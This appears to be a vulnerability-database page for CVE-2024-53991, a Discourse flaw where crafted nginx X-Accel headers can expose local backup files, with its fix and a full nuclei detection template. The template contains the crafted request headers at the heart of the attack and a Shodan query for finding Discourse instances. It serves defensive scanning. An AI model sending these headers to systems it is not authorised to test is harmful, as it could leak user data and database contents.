HexBrain

Browse / CVEs / CVE-2024-53991

CVE-2024-53991· CWE-200

Discourse Backup File Disclosure Via Default Nginx Configuration

highseverity
7.5CVSS score
29.9%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.

Impact

Attackers who know the backup file name can bypass nginx access controls to download complete Discourse backup files containing sensitive data, user information, and database contents.

Fix

Update to the latest stable, beta or tests-passed version of Discourse. Alternatively, store backups on S3 or disable backups temporarily until the fix is applied.

How to confirm it

Send: GET {{BaseURL}}/
Send: GET {{styles}}&cachebuster={{randstr}}
Positive when: status_code == 403 and contains(content_type, "text/html") and contains(response, "discourse")

Run it with nuclei: nuclei -id CVE-2024-53991 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-53991

info:
  name: Discourse Backup File Disclosure Via Default Nginx Configuration
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.
  impact: |
    Attackers who know the backup file name can bypass nginx access controls to download complete Discourse backup files containing sensitive data, user information, and database contents.
  remediation: |
    Update to the latest stable, beta or tests-passed version of Discourse. Alternatively, store backups on S3 or disable backups temporarily until the fix is applied.
  reference:
    - https://projectdiscovery.io/blog/discourse-backup-disclosure-rails-send_file-quirk/
    - https://github.com/discourse/discourse/security/advisories/GHSA-567m-82f6-56rv
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-53991
    cwe-id: CWE-200
    epss-score: 0.2988
    epss-percentile: 0.98217
  metadata:
    shodan-query: http.component:"Discourse"
  tags: cve,cve2024,discourse,disclosure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    extractors:
      - type: regex
        part: body
        name: styles
        group: 1
        regex:
          - 'href="(/stylesheets/discourse-.*?)"'
        internal: true

  - raw:
      - |
        GET {{styles}}&cachebuster={{randstr}} HTTP/1.1
        Host: {{Hostname}}
        X-Sendfile-Type: X-Accel-Redirect
        X-Accel-Mapping: .*=/downloads/backups/default/

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 403'
          - 'contains(content_type, "text/html")'
          - 'contains(response, "discourse")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from